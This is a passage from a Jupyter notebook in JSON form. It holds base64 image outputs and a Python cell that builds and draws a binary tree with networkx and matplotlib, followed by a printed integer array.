Wq1Whw5ciSeffbZ2LNnT3zmM5+Jo0ePxvPPPx+Li4tx9913x7Vr1+KrX/1q\nnD9/Ps6dOxe33XZbPPDAA3Hx4sV6DPfdd1988MEHsbq6Gjt37oyHHnoozpw5Ex9++GHUarV46KGH\n4u23346IiFqtFgcPHoz3338/zp07V//8u9/9LmZnZ6NWq8Xjjz8ef/7zn+PKlSv1mH/xi1/Epz/9\n6ajVavGtb30rXnvttfr3ffvb347/+q//irvuuit27twZhw8fjpdeeqn+fUmMt99+e3z+85+PM2fO\nxCOPPBKnTp2qx3DPPffE6dOn49KlS2230wMPPBB///vf4/r161Gr1WL//v3x8ccfx8cff1z//Kc/\n/SkmJyejVqvFI488En/729/i4sWL9c+//vWvY2Fhob5d3njjjbh27Vr98wsvvBC33XZb1Gq1ePLJ\nJ+NXv/pVTExMNMXwmc98Jvbs2RPPPPNM/PSnP43t27fXt9NXvvKVuHjxYpw5cyZuueWWOHDgQJw7\nd64ewze+8Y346KOPYnl5OXbv3h3f+MY34tKlS/H+++/X98V33nkn1tfXo1arxcMPPxzHjx+PM2fO\n1D//4Q9/iOnp6fp2evvtt2N5ebm+nV555ZX45Cc/GbVaLZ544ol4/fXXY21trb7dfvzjH8fu3bvr\n2+0Xv/hF/fuSGHfu3Bl79+6NI0eOxHPPPRef/OQn6zH+y7/8S5w9ezYuXLhQj2lpaake4/333x8f\nfPBBXL16tb5dTp06FSdOnKjvi3/+859jfHy8vu/9/e9/j/Pnz9c///a3v435+fmo1Wpx6NCh+NOf\n/hSrq6v1mH/+85/Hjh076tvp17/+dYyNjUWtVotnnnkmvvOd78TevXtj165dcfjw4fjZz34Wc3Nz\n9RiPHj0aO3bsiC984Qtx7ty5OHDgQJw+fbppO508eTKWlpY65ox33323foy35oz9+/fHG2+8UT/G\nH3300Th27FhTznj11VdjcXGxvp3+8Ic/bMgZt99++6Y544477og777wzjhw5Ev/7v//bMWfs2LEj\n9u3bFxcuXGjKGR9++GFcuXIldu7cGfv27Ytz587F8ePHo1arxYMPPhjvvPNOU8744IMP4uzZs21z\nxmOPPRZ/+ctfYmVlpf75l7/8ZVPO+O1vf1vft59++un4n//5n7jzzjubcsbMzExTjLVaLf7hH/4h\nTp8+HY8++micPHlyQ864ePFi7N69O/793/99Q85477336sf4gQMH4uTJk5vmjHfffbe+b6fljEOH\nDsXPfvazppzx6quvbsgZd911V+zevbspZzTui5/+9Kfjn/7pn+LixYuxb9++OHv2bNO+eOLEiXrO\n+I//+I+4fPlyU87461//Wj/GH3744fjwww/j9OnT9Zj/+Mc/1o/xxx57LN5+++24fPly/fPLL7/c\nlDN+97vf1c+H3/rWt+K5556LXbt21bfbL3/5y/r5MIlx9+7dcdddd8XRo0fjueeei0984hNNOePc\nuXNx/vz5uP322+O+++6LS5cutT1/JTni9OnTTTnjrbfeqh/jjzzySLz33nsbckZyjHfKGbfcckt9\nO/3mN7+pf9/hw4fju9/9buzduzd27twZ3/72t+PFF1/ckDNuu+22+Md//Mc4d+5cPPzww0054957\n741Tp07Vc8bXvva1WFlZadoXG3PG/v3746OPPoqTJ0/WP7/55ptNOeOvf/1rXLp0adOckZwPW3PG\nU089Fa+88kp9327MGXfccUc888wz8ZOf/CQWFhaacsaFCxfi7NmzsWPHjnjooYfi/PnzTdvpxIkT\nsbKyErt27YoHHnggzp8/Hx988EFTzkiO8YMHD244f7XmjLfeemtDzvjUpz7VNmc89dRT8YMf/CDu\nvPPO+nbbLGecPHkyHn/88fj444+bcsaZM2fi4sWLsWvXrrjnnnvi8uXLTeev999/v36MJ+evjz76\nqClnJMd4a844ePBg/OY3v6kf44cOHYo333yzfj48dOhQvPjii3HrrbfWY3r11Vfr58Mkhr179zbl\njOR8mOyLt9xyS3zxi1+M8+fPx4MPPrghZ3z88cf1mvff/u3f2uaM1pq3NWe01rydckZS8ybf981v\nfjN+8pOfxM6dO1NzRlLztuaMr371q/Wccdttt8X999/fdc3bLmc01ryvv/56/RhvrXlbc0ZrzXv4\n8OH4z//8z3rOOHz4cLz44osbat4kZ5w9ezYOHjzYVPMmOePSpUuxZ8+e+PrXv74hZ7SreVtzRnKM\nt+aMLDVvlpzRWPO2yxkXL16s54z9+/dvmjPuu+++uHjxYj1n7Nu3L44dO7Zpzfv73/++fow//vjj\n8dZbbzXVvC+//PKGnJGcD5988sn44Q9/GHv27Ila7f/VvD//+c831Ly7du2KvXv3xtGjR+PHP/5x\n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\ngg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11cc09050>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "G = nx.Graph()\n", "\n", "d = 10\n", "G.add_node(0)\n", "coord = [(0.5,0)]\n", "depth = [0]\n", "\n", "for n in range(2,256*4):\n", " G.add_node(n-1)\n", " p = int(np.floor(n/2))\n", " depth.append(depth[p-1]+1)\n", " if 2*p==n: # left child\n", " ep = -(1.0/(2**(depth[p-1]+2)))\n", " else:\n", " ep = 1.0/(2**(depth[p-1]+2)) \n", " coord.append((coord[p-1][0]+ep,-(depth[p-1]+1)))\n", " G.add_edge(n-1,p-1)\n", "\n", "plt.figure(figsize=(35,6))\n", "nx.draw(G, coord, node_size=50, node_color='black')\n", "#nx.draw_shell" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[-1 0 49 11 28 26 36 14 29 41 20 1 20 49 48 35 22 0 2 40 36 11 12 13 3\n", " 21 43 16 38 0 45 41 36 36 23 3 28 29 15 18 44 26 4 7 38 5 24 19 18 21]\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAlYAAAJCCAYAAAAC4omSAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XdcU9f7B/AnCXujiDLrQnAPpO6Ju67qV63YiqO1inv0\nV0etWke1VmndgrVSURRHceBEcCIKKAoOlqCAMmWTkOTez+8PIBVlBIjiOO/Xq69Xb3LHCWY895zn\nPEcAgBiGYRiGYZiaE9Z2AxiGYRiGYT4WLLBiGIZhGIZRERZYMQzDMAzDqAgLrBiGYRiGYVSEBVYM\nwzAMwzAqwgIrhmEYhmEYFWGBFcMwDMMwjIqwwIphGIZhGEZFWGDFMAzDMAyjImq1dWETExM0bNiw\nti7PMAzDMAyjtNDQ0HQA9Srbr9YCq4YNG1JISEhtXZ5hGIZhGEZpAoHgqTL7saFAhmEYhmEYFWGB\nFcMwDMMwjIpUGlgJBIK9AoEgVSAQRJTzvEAgEGwRCAQxAoHgvkAg6KD6ZjIMwzAMw7z/lOmx2kdE\ngyp4fjAR2RT/N42Idta8WQzDMAzDMB+eSgMrAFeJ6GUFu4wgon9QJIiIjAQCgZmqGsgwDMMwDPOh\nUEWOlQURJbyynVj82BsEAsE0gUAQIhAIQtLS0lRwaYZhGIZhmPfHO01eB+AGoCOAjvXqVVoKgmEY\nhmEY5oOiisAqiYisXtm2LH6MYRiGYRjmk6KKwOokEU0snh3YmYiyAbxQwXkZhmEYhmE+KJVWXhcI\nBF5E1JuITAQCQSIRrSAidSIiALuI6AwRDSGiGCIqIKLJb6uxDMMwDMMw77NKAysA4yt5HkQ0U2Ut\nYhiGYRiG+UCxyusMwzAMwzAqwgIrhmEYhmEYFWGBFcMwDMMwjIqwwIphGIZhGEZFWGDFMAzDMAyj\nIiywYhiGYRiGUREWWDEMwzAMw6gIC6wYhmEYhmFUhAVWDMMwDMMwKlJp5XWGYRimdvncTaKN5yPp\neZaYzI206YeBtjSyvUVtN4v5SLH3W82wwIphGOY95nM3iZYcDyexjCMCKClLTEuOhxMRsR87RuVe\nfb+pcXL2fqsGNhTIlMvnbhJ1W+9PjRb7Urf1/uRzN6m2m8Qwn5yN5yMpJzWRBm39mvb+NowSt35D\n8Z5LaelWT9LR0aGmTZvSV199RZcuXSJdXV1q1aoVzZw5k65du0a6urpkb29Py5cvpxs3bpCuri51\n796dXF1d6ebNm6Srq0v9+vUjDw8Pxfbw4cPp5MmTFBQURDo6OjR+/Hi6fv264vlp06bRw4cP6cqV\nK6Sjo0MLFy6k5ORkunDhAunq6tLq1atJKpXS6dOnSU9Pj1xdXYmI6OjRo6Snp0c7d+4kIiJPT0/S\n09OjvXv3EhGRu7s76enpkZeXFxERbdu2jXR1denff/8t+jts3Ei6urp05swZIiJavXo16erq0uXL\nl4mIaPny5aSjo0NBQUFERLRo0SLS1dWlu3fvEhHRnDlzSE9Pj8LDi4KEadOmkb6+Pj1+/JiIiCZN\nmkT6+vr05MkTIiIaP348GRgY0LNnz4iIaNSoUWRoaEjJyclERDRs2DAyMjKijIwMIiIaOHAgGRkZ\nUU5ODhER9e7dm4yNjenwzRjqtt6ftCxbkJqOPh0LfkpERJ9//jmZmJgo/p3bt29Ppqamiu1WrVqR\nmZmZYtvW1pasrKwU202aNKGGDRsqtq2tralp06aKbXNzc7Kzs1Nsm5qaUqtWrRTbdevWpfbt2yu2\njYyMqGPHjrTu+G16duIP6r5hKAVs+pIavkwisYyjjecjiVEOC6yYMpXctSRliQlEirsWFlwxzLvx\n8uVL2rVrF0XeOEMvL+6k7IIs6ktEiwqyiJcWUEauhACQVCqlu3fvUn5+PsnlcsrKyiJvb2/KyMgg\nqVRKKSkptG7dOkpJSSGJREJPnz6lBQsWUGpqKonFYoqOjqZJkyZRWloaicViCg8PpxEjRii2Q0JC\nqEePHpSZmUkFBQV0+fJlatmyJWVmZpJYLKYzZ86QmZkZZWVlUUFBAR06dIg0NTUpOzub8vPzycPD\ng/T19Sk3N5cKCgrIw8ODrK2tqaCggCQSCe3fv5/s7e1JLBZTYWEheXp60pAhQ6igoIDkcjkdPHiQ\nnJ2dqbCwkDiOoyNHjtDChQtJJpMRAPr333/p119/JblcTkKhkHx9fcnNzY2IiEQiEfn5+dHRo0dJ\nKBSSuro6BQYGkr+/P2lqapKmpibdu3ePQkNDSVtbm3R0dCgmJoZiYmJIX1+f9PT0KCUlhdLS0sjY\n2JgMDQ0V7TYxMSFjY2MSiUREVBS4mJiYkFBY9LPaoEED0tY3pp9PPqSUjFwS6RqTQNuQlvlEkM/d\nJDIzMysVSJmZmZUKpMzNzUttW1hYkLm5ealtC4v/epAsLS3J0tJSsW1lZVUqELOysiJra+tS+1tZ\n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\n2bO